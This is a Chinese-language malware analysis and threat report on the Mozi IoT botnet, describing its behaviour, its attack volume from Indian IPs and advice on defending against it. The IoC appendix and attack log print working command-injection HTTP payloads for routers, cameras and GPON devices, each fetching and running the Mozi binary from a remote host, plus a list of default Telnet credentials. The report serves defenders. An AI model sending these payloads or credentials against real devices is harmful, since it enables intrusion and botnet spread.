作者:answerboy@知道創宇404積極防御實驗室
時間:2020年9月18日

1.概述

專項行動期間,某天各大藍隊群內都在交流最近是否收到很多來自印度的攻擊流量,最初部分認為是紅隊在使用印度IP進行攻擊。但很快發現事情好像并不是這么簡單,通過對攻擊Payload特征的分析,發現該攻擊不是專項行動紅隊所發起,而是來自一個正在迅速擴張的僵尸網絡——Mozi(墨子)僵尸網絡。

Mozi僵尸網絡是于2019年底首次出現在針對路由器和DVR 的攻擊場景上的一種P2P僵尸網絡。主要攻擊物聯網(IoT)設備,包括網件、D-Link和華為等路由設備。它本質上是Mirai的變種,但也包含Gafgyt和IoT Reaper的部分代碼,用于進行DDoS攻擊、數據竊取、垃圾郵件發送以及惡意命令執行和傳播。目前其規模已經迅速擴大,據統計目前已占到所有物聯網(IoT)僵尸網絡流量的90% 。

近日知道創宇404積極防御實驗室通過知道創宇云防御安全大數據平臺監測到大量來自印度IP的攻擊。經分析,其中大量的攻擊來自Mozi僵尸網絡,可能和近期印度Mozi僵尸網絡大范圍感染并傳播有關。

2.追溯分析

2.1發現攻擊

近日,知道創宇404積極防御實驗室監測到大量來自印度IP的Web攻擊,試圖通過遠程命令執行下載Mozi.m、Mozi.a等惡意文件到被攻擊設備上,且使用的User-Agent均為:“Hello, world”。使用的部分攻擊Payload如下:

cd+/tmp;rm+rf+*;wget+http://27.6.167.68:46222/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws
/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

圖1-攻擊日志

通過對樣本的分析確定該樣本屬于Mozi僵尸網絡家族。

2.2詳細分析

2.2.1 Mozi.m樣本分析

捕獲到的樣本信息:

SHA256:bba18438991935a5fb91c8f315d08792c2326b2ce19f2be117f7dab984c47bdf

ELF 頭:

Magic 7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00
類別 ELF32
數據 2 補碼,大端序 (big endian)
Version 1 (current)
OS/ABI UNIX - System V
ABI 版本 0
類型 EXEC (可執行文件)
系統架構 MIPS R3000
版本 0x1
入口點地址 0x41fb58
程序頭起點 52 (bytes into file)

樣本通過UPX進行了加殼操作,且將p_info結構中的p_file_size和p_blocksize值擦除為了0,來增強自身的“安全性”。

在成功感染目標設備之后,Mozi為進行自我保護,會通過防火墻阻斷SSH、Telnet端口,以防止被其他僵尸網絡入侵:

圖2-阻斷22、2323端口通信

根據感染的設備,修改防火墻策略放行不同的端口來保證自身的通信:

圖3-放行自身使用端口

同時讀取/proc/net/tcp和/proc/net/raw來查找并KILL掉使用1536和5888端口的進程:

圖4-Kill相關進程

檢查被感染的設備上是否存在Watchdog來避免重啟:

圖5-檢測Watchdog

檢查被感染的設備上是否存在/usr/bin/python,如果存在,則將進程名稱更改為sshd,不存在則更改為dropbear,以此來迷惑被攻擊者。

圖6-更改進程名

分析過程中發現Mozi僵尸網絡復用了部分Gafgyt家族僵尸網絡的代碼,其中內嵌了8個硬編碼的公共節點信息,用于加入P2P網絡,如下:

圖7-內置的節點

在樣本中還硬編碼了一個使用XOR加密的配置文件及密鑰:

圖8-配置文件

使用硬編碼的秘鑰解密后得到如下配置數據: [ss]bot[/ss][hp]88888888[/hp][count]http://ia.#/go1?id = 19894027&pu =http%3a%2f%2fbaidu.com/[idp][/count]。

新的Mozi節點向http://ia.#/發送HTTP請求,來注冊自身。

在通信流量中通過1:v4:JBls來標記是否為Mozi節點發起的通信。

圖9-通信標識

所攻擊的設備類型包括:GPON光纖設備、NetGear路由設備、華為HG532交換機系列、D-Link路由設備、使用Realtek SDK的設備、Vacron監控攝像機、斐訊路由器、?USR-G806 4G工業無線路由器等:

圖10-攻擊的設備類型

同時還在樣本中發現硬編碼的部分用戶名和弱口令,用來對Telnet進行暴力破解攻擊,以擴大感染和傳播范圍,硬編碼的部分用戶名和密碼如下:

圖11-部分弱口令密碼

2.3攻擊分布

自9月以來知道創宇云防御共攔截了來自Mozi僵尸網絡的151,952個IP的攻擊,總計攔截攻擊14,228,252次。與8月份相比,來自印度的攻擊顯著增加,攔截到的來自印度的攻擊IP同比上漲了近30%,所攔截到的總攻擊次數上漲了近42%。下圖為知道創宇404積極防御實驗室自9月以來監測到的來自印度的攻擊IP TOP10:

圖12-攻擊IP TOP10

通過對捕獲到的日志分析,對所有被攻擊的行業進行分類統計,其中被攻擊占比最高的為政府事業單位,以及部分部委機關系統及網站。這部分系統在所有被攻擊的行業中占比達到45%。如下:

圖13-被攻擊行業分布

目前Mozi僵尸網絡仍在快速擴張,且呈上升趨勢,臨近十一重保,各單位仍需提高警惕,做好安全防護措施,尤其是各級政府事業單位以及部委機關單位,應提前做好相關設備的安全檢查,避免被僵尸網絡入侵感染。

3.防護建議

  • 1.設備關閉不必要的端口,對使用的端口號進行更改;
  • 2.定期更新系統補丁,及時修復相關漏洞;
  • 3.服務器切勿使用弱口令,避免被暴力破解;
  • 4.根據附件中的Payload阻斷存在以下特征的通信;
  • 5.關注設備上的可疑進程和外連訪問,尤其是近期來自印度的IP。

4附:IoCs

公共節點

dht.transmissionbt.com:6881
router.bittorrent.com:6881
router.utorrent.com:6881
ttracker.debian.org:6881
212.129.33.59:6881(ZoomEye搜索結果
82.221.103.244:6881(ZoomEye搜索結果
130.239.18.159:6881(ZoomEye搜索結果
87.98.162.88:6881(ZoomEye搜索結果

部分Payload

POST /GponForm/diag_Form?images/ HTTP/1.1
Host: 127.0.0.1:80
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World
Content-Length: 118

XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://%s:%d/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0
POST /picsdesc.xml HTTP/1.1
Content-Length: 630
Accept-Encoding: gzip, deflate
SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
Accept: /
User-Agent: Hello-World
Connection: keep-alive

<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://%s:%d/Mozi.m; chmod +x Mozi.m; ./Mozi.m</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://%s:%d/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js HTTP/1.0
POST /HNAP1/ HTTP/1.0
Host: %s:80
Content-Type: text/xml; charset="utf-8"
SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://%s:%d/Mozi.m && chmod 777 /tmp/Mozi.m && /tmp/Mozi.m`
Content-Length: 640

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
GET /shell?cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
User-Agent: Hello, world
Host: %s:80
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
POST /UD/act?1 HTTP/1.1
Host: 127.0.0.1:7574
User-Agent: Hello, world
SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers
Content-Type: text/xml
Content-Length: 640

<?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://%s:%d/Mozi.m && chmod 777 /tmp/tr064 && /tmp/tr064 tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>
GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://%s:%d/Mozi.m;${IFS}sh${IFS}/var/tmp/Mozi.m
GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+varcron
POST /soap.cgi?service=WANIPConn1 HTTP/1.1
Host: %s:49152
Content-Length: 630
Accept-Encoding: gzip, deflate
SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
Accept: */*
User-Agent: Hello, World
Connection: keep-alive

<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><m:AddPortMapping xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1"><NewPortMappingDescription><NewPortMappingDescription><NewLeaseDuration></NewLeaseDuration><NewInternalClient>`cd /tmp;rm -rf *;wget http://%s:%d/Mozi.m;/tmp/Mozi.m dlink`</NewInternalClient><NewEnabled>1</NewEnabled><NewExternalPort>634</NewExternalPort><NewRemoteHost></NewRemoteHost><NewProtocol>TCP</NewProtocol><NewInternalPort>45</NewInternalPort></m:AddPortMapping><SOAPENV:Body><SOAPENV:envelope>
GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://%s:%d/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

暴力破解使用的用戶名及弱口令

Username Password
admin 00000000
telnetadmin 1111
!!Huawei 1111111
admin 1234
root 12345
root 123456
keomeo 2010vesta
support 2011vesta
CMCCAdmin 25802580
e8telnet 54321
e8ehome1 666666
e8ehome 7ujMko0admin
user 7ujMko0vizxv
mother 888888
root 88888888
Administrator @HuaweiHgw
service BrAhMoS@15
supervisor CMCCAdmin
guest CUAdmin
admin1 Fireitup
administrator GM8182
ubnt PhrQjGzk
tech Pon521
admin Zte521
admin admin
telnet admin1234
adminHW
adminpass
anko
cat1029
chzhdpl
conexant
default
dreambox
e2008jl
e8ehome
e8ehome1
e8telnet
epicrouter
fucker
gpon
guest
gw1admin
h@32LuyD
hg2x0
hi3518
ikwb
juantech
jvbzd
keomeo
klv123
klv1234
meinsm
pass
password
plumeria0077
r@p8p0r+
realtek
root
service
smcadmin
supervisor
support
system
tech
telnet
telnetadmin
ubnt
user
v2mprt
vizxv
xJ4pCYeW
xc3511
xmhdipc
zlxx
zte

SHA256

bba18438991935a5fb91c8f315d08792c2326b2ce19f2be117f7dab984c47bdf
c672798dca67f796972b42ad0c89e25d589d2e70eb41892d26adbb6a79f63887

5.參考鏈接:

https://kb.cert.org/vuls/id/582384/
https://www.cebnet.com.cn/20180302/102469557.html
https://cloud.tencent.com/developer/article/1366157


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1347/